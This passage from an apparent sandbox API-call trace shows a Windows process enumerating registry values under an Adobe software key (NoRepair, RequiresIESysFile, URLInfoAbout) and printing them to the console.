lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0148.962] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.962] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.962] __iob_func () returned 0x7fefd702a80 [0148.962] _fileno (_File=0x7fefd702ab0) returned 1 [0148.962] _errno () returned 0x204bb0 [0148.962] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.962] _errno () returned 0x204bb0 [0148.962] GetFileType (hFile=0x50) returned 0x1 [0148.962] lstrlenW (lpString=" ") returned 4 [0148.962] GetConsoleOutputCP () returned 0x1b5 [0148.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.962] GetConsoleOutputCP () returned 0x1b5 [0148.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.962] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.962] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.962] __iob_func () returned 0x7fefd702a80 [0148.962] _fileno (_File=0x7fefd702ab0) returned 1 [0148.962] _errno () returned 0x204bb0 [0148.962] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.962] _errno () returned 0x204bb0 [0148.962] GetFileType (hFile=0x50) returned 0x1 [0148.962] lstrlenW (lpString="REG_DWORD") returned 9 [0148.963] GetConsoleOutputCP () returned 0x1b5 [0148.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.963] GetConsoleOutputCP () returned 0x1b5 [0148.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.963] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.963] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.963] __iob_func () returned 0x7fefd702a80 [0148.963] _fileno (_File=0x7fefd702ab0) returned 1 [0148.963] _errno () returned 0x204bb0 [0148.963] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.963] _errno () returned 0x204bb0 [0148.963] GetFileType (hFile=0x50) returned 0x1 [0148.963] lstrlenW (lpString=" ") returned 4 [0148.963] GetConsoleOutputCP () returned 0x1b5 [0148.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.963] GetConsoleOutputCP () returned 0x1b5 [0148.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.963] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.963] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.963] __iob_func () returned 0x7fefd702a80 [0148.963] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.963] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0148.964] _fileno (_File=0x7fefd702ab0) returned 1 [0148.964] _errno () returned 0x204bb0 [0148.964] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.964] _errno () returned 0x204bb0 [0148.964] GetFileType (hFile=0x50) returned 0x1 [0148.964] lstrlenW (lpString="0x1") returned 3 [0148.964] GetConsoleOutputCP () returned 0x1b5 [0148.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.964] GetConsoleOutputCP () returned 0x1b5 [0148.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.964] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.964] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.964] __iob_func () returned 0x7fefd702a80 [0148.964] _fileno (_File=0x7fefd702ab0) returned 1 [0148.964] _errno () returned 0x204bb0 [0148.964] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.964] _errno () returned 0x204bb0 [0148.964] GetFileType (hFile=0x50) returned 0x1 [0148.964] lstrlenW (lpString="\n") returned 1 [0148.964] GetConsoleOutputCP () returned 0x1b5 [0148.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.964] GetConsoleOutputCP () returned 0x1b5 [0148.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.965] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.965] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.965] GetProcessHeap () returned 0x3c0000 [0148.965] GetProcessHeap () returned 0x3c0000 [0148.965] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.965] GetProcessHeap () returned 0x3c0000 [0148.965] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6 [0148.965] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0148.965] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiresIESysFile", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.965] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="RequiresIESysFile", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1a) returned 0x0 [0148.965] GetProcessHeap () returned 0x3c0000 [0148.965] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1c) returned 0x3d5c30 [0148.965] GetProcessHeap () returned 0x3c0000 [0148.965] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0148.965] GetProcessHeap () returned 0x3c0000 [0148.965] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1c [0148.965] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="RequiresIESysFile", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1a | out: pdwType=0x29f700*=0x1, pvData="4.70.0.1155", pcbData=0x29f780*=0x18) returned 0x0 [0148.965] __iob_func () returned 0x7fefd702a80 [0148.965] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.965] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.965] _fileno (_File=0x7fefd702ab0) returned 1 [0148.965] _errno () returned 0x204bb0 [0148.965] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.965] _errno () returned 0x204bb0 [0148.965] GetFileType (hFile=0x50) returned 0x1 [0148.965] lstrlenW (lpString=" ") returned 4 [0148.965] GetConsoleOutputCP () returned 0x1b5 [0148.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.965] GetConsoleOutputCP () returned 0x1b5 [0148.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.966] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.966] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.966] lstrlenW (lpString="RequiresIESysFile") returned 17 [0148.966] __iob_func () returned 0x7fefd702a80 [0148.966] _fileno (_File=0x7fefd702ab0) returned 1 [0148.966] _errno () returned 0x204bb0 [0148.966] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.966] _errno () returned 0x204bb0 [0148.966] GetFileType (hFile=0x50) returned 0x1 [0148.966] lstrlenW (lpString="RequiresIESysFile") returned 17 [0148.966] GetConsoleOutputCP () returned 0x1b5 [0148.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="RequiresIESysFile", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0148.966] GetConsoleOutputCP () returned 0x1b5 [0148.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="RequiresIESysFile", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RequiresIESysFile", lpUsedDefaultChar=0x0) returned 17 [0148.966] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0148.966] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.966] __iob_func () returned 0x7fefd702a80 [0148.966] _fileno (_File=0x7fefd702ab0) returned 1 [0148.966] _errno () returned 0x204bb0 [0148.966] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.966] _errno () returned 0x204bb0 [0148.966] GetFileType (hFile=0x50) returned 0x1 [0148.966] lstrlenW (lpString=" ") returned 4 [0148.966] GetConsoleOutputCP () returned 0x1b5 [0148.966] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.967] GetConsoleOutputCP () returned 0x1b5 [0148.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.967] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.967] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.967] __iob_func () returned 0x7fefd702a80 [0148.967] _fileno (_File=0x7fefd702ab0) returned 1 [0148.967] _errno () returned 0x204bb0 [0148.967] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.967] _errno () returned 0x204bb0 [0148.967] GetFileType (hFile=0x50) returned 0x1 [0148.967] lstrlenW (lpString="REG_SZ") returned 6 [0148.967] GetConsoleOutputCP () returned 0x1b5 [0148.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.967] GetConsoleOutputCP () returned 0x1b5 [0148.967] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.967] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.967] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.967] __iob_func () returned 0x7fefd702a80 [0148.967] _fileno (_File=0x7fefd702ab0) returned 1 [0148.967] _errno () returned 0x204bb0 [0148.967] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.967] _errno () returned 0x204bb0 [0148.967] GetFileType (hFile=0x50) returned 0x1 [0148.967] lstrlenW (lpString=" ") returned 4 [0148.967] GetConsoleOutputCP () returned 0x1b5 [0148.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.968] GetConsoleOutputCP () returned 0x1b5 [0148.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.968] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.968] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.968] __iob_func () returned 0x7fefd702a80 [0148.968] _fileno (_File=0x7fefd702ab0) returned 1 [0148.968] _errno () returned 0x204bb0 [0148.968] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.968] _errno () returned 0x204bb0 [0148.968] GetFileType (hFile=0x50) returned 0x1 [0148.968] lstrlenW (lpString="4.70.0.1155") returned 11 [0148.968] GetConsoleOutputCP () returned 0x1b5 [0148.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="4.70.0.1155", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.968] GetConsoleOutputCP () returned 0x1b5 [0148.968] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="4.70.0.1155", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.70.0.1155", lpUsedDefaultChar=0x0) returned 11 [0148.968] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.968] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.968] __iob_func () returned 0x7fefd702a80 [0148.968] _fileno (_File=0x7fefd702ab0) returned 1 [0148.968] _errno () returned 0x204bb0 [0148.968] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.968] _errno () returned 0x204bb0 [0148.968] GetFileType (hFile=0x50) returned 0x1 [0148.968] lstrlenW (lpString="\n") returned 1 [0148.969] GetConsoleOutputCP () returned 0x1b5 [0148.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.969] GetConsoleOutputCP () returned 0x1b5 [0148.969] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.969] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.969] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.969] GetProcessHeap () returned 0x3c0000 [0148.969] GetProcessHeap () returned 0x3c0000 [0148.969] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0148.969] GetProcessHeap () returned 0x3c0000 [0148.969] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1c [0148.969] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0148.969] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.969] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2c) returned 0x0 [0148.969] GetProcessHeap () returned 0x3c0000 [0148.969] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2e) returned 0x3d78d0 [0148.969] GetProcessHeap () returned 0x3c0000 [0148.969] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0148.969] GetProcessHeap () returned 0x3c0000 [0148.969] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2e [0148.969] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2c | out: pdwType=0x29f700*=0x1, pvData="http://www.adobe.com", pcbData=0x29f780*=0x2a) returned 0x0 [0148.969] __iob_func () returned 0x7fefd702a80 [0148.969] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.969] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0148.969] _fileno (_File=0x7fefd702ab0) returned 1 [0148.969] _errno () returned 0x204bb0 [0148.969] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.970] _errno () returned 0x204bb0 [0148.970] GetFileType (hFile=0x50) returned 0x1 [0148.970] lstrlenW (lpString=" ") returned 4 [0148.970] GetConsoleOutputCP () returned 0x1b5 [0148.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.970] GetConsoleOutputCP () returned 0x1b5 [0148.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.970] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.970] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.970] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.970] __iob_func () returned 0x7fefd702a80 [0148.970] _fileno (_File=0x7fefd702ab0) returned 1 [0148.970] _errno () returned 0x204bb0 [0148.970] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.970] _errno () returned 0x204bb0 [0148.970] GetFileType (hFile=0x50) returned 0x1 [0148.970] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.970] GetConsoleOutputCP () returned 0x1b5 [0148.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.970] GetConsoleOutputCP () returned 0x1b5 [0148.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0148.970] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.970] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.971] __iob_func () returned 0x7fefd702a80 [0148.971] _fileno (_File=0x7fefd702ab0) returned 1 [0148.971] _errno () returned 0x204bb0 [0148.971] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.971] _errno () returned 0x204bb0 [0148.971] GetFileType (hFile=0x50) returned 0x1 [0148.971] lstrlenW (lpString=" ") returned 4 [0148.971] GetConsoleOutputCP () returned 0x1b5 [0148.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.971] GetConsoleOutputCP () returned 0x1b5 [0148.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.971] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.971] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.971] __iob_func () returned 0x7fefd702a80 [0148.971] _fileno (_File=0x7fefd702ab0) returned 1 [0148.971] _errno () returned 0x204bb0 [0148.971] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.971] _errno () returned 0x204bb0 [0148.971] GetFileType (hFile=0x50) returned 0x1 [0148.971] lstrlenW (lpString="REG_SZ") returned 6 [0148.971] GetConsoleOutputCP () returned 0x1b5 [0148.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.971] GetConsoleOutputCP () returned 0x1b5 [0148.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.972] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.972] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.972] __iob_func () returned 0x7fefd702a80 [0148.972] _fileno (_File=0x7fefd702ab0) returned 1 [0148.972] _errno () returned 0x204bb0 [0148.972] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.972] _errno () returned 0x204bb0 [0148.972] GetFileType (hFile=0x50) returned 0x1 [0148.972] lstrlenW (lpString=" ") returned 4 [0148.972] GetConsoleOutputCP () returned 0x1b5 [0148.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.972] GetConsoleOutputCP () returned 0x1b5 [0148.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.973] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.973] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.973] __iob_func () returned 0x7fefd702a80 [0148.973] _fileno (_File=0x7fefd702ab0) returned 1 [0148.973] _errno () returned 0x204bb0 [0148.973] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.973] _errno () returned 0x204bb0 [0148.973] GetFileType (hFile=0x50) returned 0x1 [0148.973] lstrlenW (lpString="http://www.adobe.com") returned 20 [0148.973] GetConsoleOutputCP () returned 0x1b5 [0148.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0148.973] GetConsoleOutputCP () returned 0x1b5 [0148.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com", cchWideChar=20, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://www.adobe.com", lpUsedDefaultChar=0x0) returned 20 [0148.973] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 20 [0148.973] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.973] __iob_func () returned 0x7fefd702a80 [0148.973] _fileno (_File=0x7fefd702ab0) returned 1 [0148.973] _errno () returned 0x204bb0 [0148.973] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.973] _errno () returned 0x204bb0 [0148.973] GetFileType (hFile=0x50) returned 0x1 [0148.973] lstrlenW (lpString="\n") returned 1 [0148.973] GetConsoleOutputCP () returned 0x1b5 [0148.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.974] GetConsoleOutputCP () returned 0x1b5 [0148.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.974] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.974] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.974] GetProcessHeap () returned 0x3c0000 [0148.974] GetProcessHeap () returned 0x3c0000 [0148.974] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0148.974] 